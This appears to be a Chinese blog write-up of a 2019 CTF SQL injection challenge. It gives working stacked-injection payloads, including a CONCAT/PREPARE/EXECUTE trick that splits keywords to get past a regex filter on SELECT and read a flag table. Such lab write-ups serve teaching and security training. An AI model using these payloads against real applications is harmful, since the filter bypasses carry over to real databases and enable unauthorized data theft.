[强网杯 2019]随便注(堆叠注入+PREPARE/EXECUTE+CONCAT拼接字符串 绕过)
题目描述
查看题目页面源码

信息收集
测试基本注入
输入 1,返回正常查询结果:
1 | array(2) { |
说明查询返回两列数据。
尝试闭合
输入 1' 产生报错:

确认是 MariaDB,单引号字符型注入。尝试闭合:
1 | 1'# |
成功返回正常结果。
发现 WAF 过滤
尝试 UNION SELECT 时发现存在关键词过滤:

过滤了:select、update、delete、drop、insert、where 以及 .(点号),大小写不敏感。
这就意味着常规的联合查询注入(UNION SELECT)无法直接使用。
尝试绕过 SELECT 过滤
注释绕过
1 | 1' union SEL/**/ECT 1,2# |
结果:语法错误,MariaDB 不识别 SEL/**/ECT。
双 URL 编码
1 | 1' union %2553%2545%254c... |
结果:PHP 只解码一次,SQL 层面收到的是 %53%45... 字符串,未执行。
数组绕过
1 | ?inject[]=1' union select 1,2# |
结果:preg_match() 收到数组返回 false 绕过了过滤,但 SQL 查询也因数组参数报错。
堆叠注入
既然 UNION SELECT 走不通,试试堆叠注入(Stacked Injection)——PHP 可能使用了 mysqli_multi_query() 来支持多条 SQL 语句执行。
查看表名

成功!页面输出:
有两张表:words 和 1919810931114514(纯数字表名)。
查看表结构
查看 words 表:
1 | 1';desc words# |

查看 1919810931114514 表(数字表名需用反引号包裹):

关键发现:1919810931114514 表中有一个 flag 字段!
读取 flag
绕过 SELECT 的最终方案
select 被过滤,但我们可以在堆叠注入中用字符串拼接+预编译执行绕过:
1 | 1';SET @sql=concat('SE','LECT flag FROM `1919810931114514`');PREPARE s FROM @sql;EXECUTE s;# |
原理
concat('SE','LECT ...')— 将关键词SELECT拆成'SE'和'LECT...'两部分拼接,绕过preg_match对select的检测PREPARE s FROM @sql— 将拼接好的 SQL 字符串预编译为一个语句EXECUTE s— 执行预编译语句,等同于执行SELECT flag FROM \1919810931114514``- 反引号包裹表名 — 纯数字表名必须用反引号引用,否则 MariaDB 会解析为数字常量
拿到 Flag

Flag: DASCTF{cda20879-8082-4d93-a8a0-f959f5a93373} ✅
知识点总结
| 技术 | 说明 |
|---|---|
| 堆叠注入 | 利用 mysqli_multi_query() 执行多条 SQL 语句,用 ; 分隔 |
| PREPARE/EXECUTE | MySQL/MariaDB 的预编译执行机制,可动态执行拼接的 SQL |
| CONCAT 字符串拼接 | 拆分敏感关键词绕过正则过滤 |
| DESC 查看表结构 | 替代 SHOW COLUMNS FROM,同样可查看字段信息 |
| 反引号包裹 | 纯数字表名、特殊字符表名需用反引号转义 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Hello World!
